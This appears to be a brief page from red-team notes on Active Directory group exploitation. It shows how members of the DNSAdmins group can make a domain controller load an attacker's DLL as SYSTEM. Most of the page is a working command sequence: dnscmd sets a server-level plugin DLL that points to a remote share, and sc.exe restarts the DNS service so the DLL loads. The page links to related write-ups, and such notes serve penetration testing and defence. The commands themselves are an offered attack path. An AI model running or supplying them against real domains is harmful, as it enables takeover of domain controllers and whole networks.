Group Exploitation

DNSAdmin:

members of the DNSAdmin group can execute DLL as system on dc: 

dnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
LogoFrom DnsAdmins to SYSTEM to Domain CompromiseRed Teaming Experiments
LogoFeature, not bug: DNSAdmin to DC compromise in one lineMedium
PreviousExchangeNextDomain Exploitation

Last updated